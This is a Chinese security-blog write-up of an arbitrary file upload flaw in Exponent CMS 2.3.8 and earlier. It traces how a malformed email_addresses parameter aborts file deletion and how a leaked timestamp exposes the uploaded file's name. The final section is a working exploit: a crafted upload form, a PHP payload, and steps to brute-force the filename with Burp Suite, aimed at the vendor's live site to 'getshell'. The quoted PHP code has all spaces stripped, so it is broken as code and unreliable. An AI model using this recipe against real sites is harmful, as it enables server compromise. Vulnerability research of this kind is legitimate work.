2016-09-06 17:25:34
来源:安全客 作者:安全客
阅读:443次
点赞(0)
收藏
作者:Balisong
稿费:500RMB
Exponent cms是一款国外的cms,功能比较强大。但是在2.3.8版本及以下,存在着一个全版本通杀的任意文件上传漏洞。攻击者可以通过该漏洞直接getshell.
官方最新版2.3.9已经修复(http://www.exponentcms.org)
漏洞分析:
我们首先看一下漏洞触发点在:
/framework/modules/ecommerce/controllers/eventregistrationController.php中第1161行:
if(!empty($_FILES['attach']['size'])){ $dir='tmp'; $filename=expFile::fixName(time().'_'.$_FILES['attach']['name']); $dest=$dir.'/'.$filename; //Checktoseeifthedirectoryexists.Ifnot,createthedirectorystructure. if(!file_exists(BASE.$dir))expFile::makeDirectory($dir); //Movethetemporaryuploadedfileintothedestinationdirectory,andchangethename. $file=expFile::moveUploadedFile($_FILES['attach']['tmp_name'],BASE.$dest); //$finfo=finfo_open(FILEINFO_MIME_TYPE); //$relpath=str_replace(PATH_RELATIVE,'',BASE); //$ftype=finfo_file($finfo,BASE.$dest); //finfo_close($finfo); if(!empty($file))$mail->attach_file_on_disk(BASE.$file,expFile::getMimeType(BASE.$file)); } $from=array(ecomconfig::getConfig('from_address')=>ecomconfig::getConfig('from_name')); if(empty($from[0]))$from=SMTP_FROMADDRESS; $mail->quickBatchSend(array( 'headers'=>$headers, 'html_message'=>$this->params['email_message'], 'text_message'=>strip_tags(str_replace("<br>","",$this->params['email_message'])), 'to'=>$email_addy, 'from'=>$from, 'subject'=>$this->params['email_subject'] )); if(!empty($file))unlink(BASE.$file);//deletetempfileattachment flash('message',gt("You'reemailtoeventregistrantshasbeensent.")); expHistory::back(); }然后我们可以看到这里有一个文件上传的操作,我们跟踪一下moveUploadedFile函数,在/framework/modules/file/models/expFile.php中第1508行:
publicstaticfunctionmoveUploadedFile($tmp_name,$dest){ move_uploaded_file($tmp_name,$dest); if(file_exists($dest)){ $__oldumask=umask(0); chmod($dest,octdec(FILE_DEFAULT_MODE_STR+0)); umask($__oldumask); returnstr_replace(BASE,'',$dest); }elsereturnnull; }这里没有对后缀名进行一个检测,可以上传任意文件。文件命名的方式是time()+下划线+文件名。
然后我们看到紧跟着就有一个文件删除的操作:
if (!empty($file))unlink(BASE . $file);
看起来是没有问题的,传上去之后立马删除掉了,因为文件存在的时间超级短,并且文件命名的方式里面带有时间戳,导致我们无法利用这个文件。
但是这里有个细节,就是在上传文件到删除文件的过程中,调用了一个函数操作:
也就是
$mail->quickBatchSend(array( 'headers'=>$headers, 'html_message'=>$this->params['email_message'], 'text_message'=>strip_tags(str_replace("<br>","",$this->params['email_message'])), 'to'=>$email_addy, 'from'=>$from, 'subject'=>$this->params['email_subject'] ));我们开始跟踪一下该函数:
在/framework/core/subsystems/expMail.php中第378行:
publicfunctionquickBatchSend($params=array()){ if(empty($params['html_message'])&&empty($params['text_message'])){ returnfalse; } //setupthetoaddress(es) if(is_array($params['to'])){ $params['to']=array_filter($params['to']); }else{ $params['to']=array(trim($params['to'])); } if(empty($params['to'])){ $params['to']=array(trim(SMTP_FROMADDRESS));//defaultaddressisours } $this->addTo($params['to']);//weonlydothistosaveaddressesinourobject //setupthefromaddress(es) if(is_array($params['from'])){ $params['from']=array_filter($params['from']); }else{ $params['from']=trim($params['from']); }在这里又调用了一个函数addto(),我们继续跟踪该函数,在该文件的 644行:
publicfunctionaddTo($email=null){ //attempttofixabadtoaddress if(is_array($email)){ foreach($emailas$address=>$name){ if(is_integer($address)){ if(strstr($name,'.')===false){ $email[$address].=$name.'.net'; } } } }else{ if(strstr($email,'.')===false){ $email.='.net'; } } $this->to=$email; if(!empty($email)){ $this->message->setTo($email);//fixmethisresetsthe'to'addresses,unlessusing$this->message->addTo($email); //$this->message->addTo($email);//ifyouneedtoresetthe'to'addresses,use$this->flushRecipients(); } }这里又调用了一个setTo()函数,我们继续跟踪该函数,在/external/swiftmailer-5.4.2/lib/classes/Swift/Mime/SimpleMessage.php中第316行:
publicfunctionsetTo($addresses,$name=null) { if(!is_array($addresses)&&isset($name)){ $addresses=array($addresses=>$name); } if(!$this->_setHeaderFieldModel('To',(array)$addresses)){ $this->getHeaders()->addMailboxHeader('To',(array)$addresses); } return$this; }这里调用了一个addMailboxHeader函数,我们继续追踪该函数,在/external/swiftmailer-5.4.2/lib/classes/Swift/Mime/SimpleHeaderSet.php中第65行:
publicfunctionaddMailboxHeader($name,$addresses=null) { $this->_storeHeader($name, $this->_factory->createMailboxHeader($name,$addresses)); }这里又调用了一个createMailboxHeader函数,我们继续跟踪,在/external/swiftmailer-5.4.2/lib/classes/Swift/Mime/SimpleHeaderFactory.php中第54行:
publicfunctioncreateMailboxHeader($name,$addresses=null) { $header=newSwift_Mime_Headers_MailboxHeader($name,$this->_encoder,$this->_grammar); if(isset($addresses)){ $header->setFieldBodyModel($addresses); } $this->_setHeaderCharset($header); return$header; }
这里又调用到了一个setFieldBodyModel函数,我们继续跟踪, /external/swiftmailer-5.4.2/lib/classes/Swift/Mime/Headers/MailboxHeader.php中第61行:
publicfunctionsetFieldBodyModel($model) { $this->setNameAddresses($model); }这里调用了一个setNameAddresses函数,我们继续跟踪该函数,在该文件104行:
publicfunctionsetNameAddresses($mailboxes) { $this->_mailboxes=$this->normalizeMailboxes((array)$mailboxes); $this->setCachedValue(null);//Clearanycachedvalue }这里又调用了normalizeMailboxes函数,我们继续跟踪该函数,在该文件的250行:
这里调用了一个_assertValidAddress函数,我们继续跟踪该函数,在该文件的第344行:
privatefunction_assertValidAddress($address) { echo$this->getGrammar()->getDefinition('addr-spec'); if(!preg_match('/^'.$this->getGrammar()->getDefinition('addr-spec').'$/D', $address)){ thrownewSwift_RfcComplianceException( 'Addressinmailboxgiven['.$address. ']doesnotcomplywithRFC2822,3.6.2.' ); } }可以看到这里对于我们传入的$address做了一个正则匹配,如果正则不匹配的话,就会throw出错误信息,导致运行的程序运行的中止。那么结合我们上面所说的,这个步骤是在上传文件完成之后,删除文件之前执行的,如果这个步骤出了错,那么就不会对上传文件进行删除。那么我们上传的文件就存活了下来。
那么怎样让这个正则匹配失效呢?
可以看到这个正则匹配是验证你是否是有效的邮箱地址,如果不是有效的邮箱地址就会报错,那么我们传入一个错误的邮箱地址的话,就会报错了。但是这里我们不这么“简单”的做,我们搞一点有意思的事情。
我们首先看一下我们参数传入的地方:
在/framework/modules/ecommerce/controllers/eventregistrationController.php中第1149行:
$email_addy=array_flip(array_flip($this->params['email_addresses'])); $email_addy=array_map('trim',$email_addy); $email_addy=array_filter($email_addy); 这里的$email_addy是我们可控的。用户正常的输入的话,这个地方$this->params['email_addresses']应该是一个数组,然后后面的一切都能正规的运行下去,不会出错,但是!!!如果这个地方我们不传入数组会怎么样?正如大家知道的,array_flip()是对数组进行操作的,但是如果我们给它传入一个字符串的话,那么结果会返回一个null,意思就是说现在$email_addy=NULL。然后我们看到将$email_addy带入到了quickBatchSend函数中去: $mail->quickBatchSend(array( 'headers'=>$headers, 'html_message'=>$this->params['email_message'], 'text_message'=>strip_tags(str_replace("<br>","",$this->params['email_message'])), 'to'=>$email_addy, 'from'=>$from, 'subject'=>$this->params['email_subject'] ));在quickBatchSend中又对$email_addy做了处理:
if(is_array($params['to'])){ $params['to']=array_filter($params['to']); }else{ $params['to']=array(trim($params['to'])); } if(empty($params['to'])){ $params['to']=array(trim(SMTP_FROMADDRESS));//defaultaddressisours } $this->addTo($params['to']);//weonlydothistosaveaddressesinourobject 首先会判断是否是数组,如果不是的话,就变成一个数组。我们知道开始$Params[‘to’]为NULL,经过强行转换之后现在的$param[‘to’]就是array(0=>””),接下来的判断很有意思,: if(empty($params['to']))你觉得是true还是false呢?很多人认为会是ture,但是实际上是false。因为这个数组不是空数组,它有一个元素啊!!,虽然只是一个空字符串,但是它还是有元素啊,所以数组不为空,这个条件不成立。也就不会有赋值默认邮箱的操作:
$params['to']=array(trim(SMTP_FROMADDRESS));//defaultaddressisours 然后将$params[‘to’]传递给了addTo函数,我们看一下addTo函数是怎样处理$params[‘to’]的: publicfunctionaddTo($email=null){ //attempttofixabadtoaddress if(is_array($email)){ foreach($emailas$address=>$name){ if(is_integer($address)){ if(strstr($name,'.')===false){ $email[$address].=$name.'.net'; } } } }else{ if(strstr($email,'.')===false){ $email.='.net'; } } $this->to=$email; if(!empty($email)){ $this->message->setTo($email); 里经过处理后,$email的值为array(1) { [0]=> string(4) ".net" }。然后传递给了setTo做操作: publicfunctionsetTo($addresses,$name=null) { if(!is_array($addresses)&&isset($name)){ $addresses=array($addresses=>$name); } if(!$this->_setHeaderFieldModel('To',(array)$addresses)){ $this->getHeaders()->addMailboxHeader('To',(array)$addresses); } return$this; }将参数传递给了addMailboxHeader,我们看一下该函数的操作:
publicfunctionaddMailboxHeader($name,$addresses=null) { $this->_storeHeader($name, $this->_factory->createMailboxHeader($name,$addresses)); }又将$address给了createMailboxHeader函数,我们继续看操作:
publicfunctioncreateMailboxHeader($name,$addresses=null) { $header=newSwift_Mime_Headers_MailboxHeader($name,$this->_encoder,$this->_grammar); if(isset($addresses)){ $header->setFieldBodyModel($addresses); } $this->_setHeaderCharset($header); return$header; }又给了setFieldbodyModel函数,我们继续看:
publicfunctionsetFieldBodyModel($model) { $this->setNameAddresses($model); }又给了setNameAddresses函数,我们继续追踪该函数:
publicfunctionsetNameAddresses($mailboxes) { $this->_mailboxes=$this->normalizeMailboxes((array)$mailboxes); $this->setCachedValue(null);//Clearanycachedvalue }又给了normalizeMailboxes函数:
protectedfunctionnormalizeMailboxes(array$mailboxes) { $actualMailboxes=array(); foreach($mailboxesas$key=>$value){ if(is_string($key)){ //keyisemailaddr $address=$key; $name=$value; }else{ $address=$value; $name=null; } $this->_assertValidAddress($address); $actualMailboxes[$address]=$name; } return$actualMailboxes; }经过这个函数处理之后,$address变成了字符串’.net’。然后将这个字符串给了_assertValidAddress做一个正则匹配是不是有效邮箱:
privatefunction_assertValidAddress($address) { if(!preg_match('/^'.$this->getGrammar()->getDefinition('addr-spec').'$/D', $address)){ thrownewSwift_RfcComplianceException( 'Addressinmailboxgiven['.$address. ']doesnotcomplywithRFC2822,3.6.2.' ); } }很显然,’.net’并不能与之相匹配,所以就抛出了一个错误。
导致程序的终止运行,也导致了程序的文件删除操作无法执行。
但是我们开始说了文件名的命名规则是time()+’_’+文件名。
那么我们如何知道time()呢?
在/framework/modules/ecommerce/controllers/eventregistrationController.php中第129行:
functioneventsCalendar(){ global$user; expHistory::set('viewable',$this->params); $time=isset($this->params['time'])?$this->params['time']:time(); assign_to_template(array( 'time'=>$time ));这里直接将time()打印到了网站源码里,我们可以从这个地方得到一个大概的time值,然后便可以进行一个爆破文件名的操作,这样我们就能够getshell。
漏洞利用:
以程序官网为例
构造一个上传表单:
<html> <body> <form action="http://www.exponentcms.org/index.php?module=eventregistration&action=emailRegistrants&email_addresses=123456789@123.com&email_message=1&email_subject=1"method="post" enctype="multipart/form-data"> <labelfor="file">Filename:</label> <inputtype="file"name="attach"id="file"/> <br/> <inputtype="submit"name="submit"value="Submit"/> </form> </body> </html>然后选择我们的php文件,文件名为index.php:
<?phpphpinfo();?>然后点击上传之后,可以看到报错了:
这个时候我们紧接着快速的访问
www.exponentcms.org/index.php?module=eventregistration&action=eventsCalendar
然后右键查看网页源代码找到rel:
记下这个数字,这就是大概的时间戳,我们爆破文件名需要用到的。
然后我们开始爆破文件名:
/tmp/时间戳_index.php
因为我们得到的时间戳比上传的时间戳要晚一些时间(所以说越快访问越好),但是爆破的位数基本可以控制在3位数以内。
然后我们就可以用burpsuite进行一个爆破文件名的操作:
Status为200表示我们成功爆破到了文件名,我们访问一下,可以看到php文件确实成功上传:
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3001.html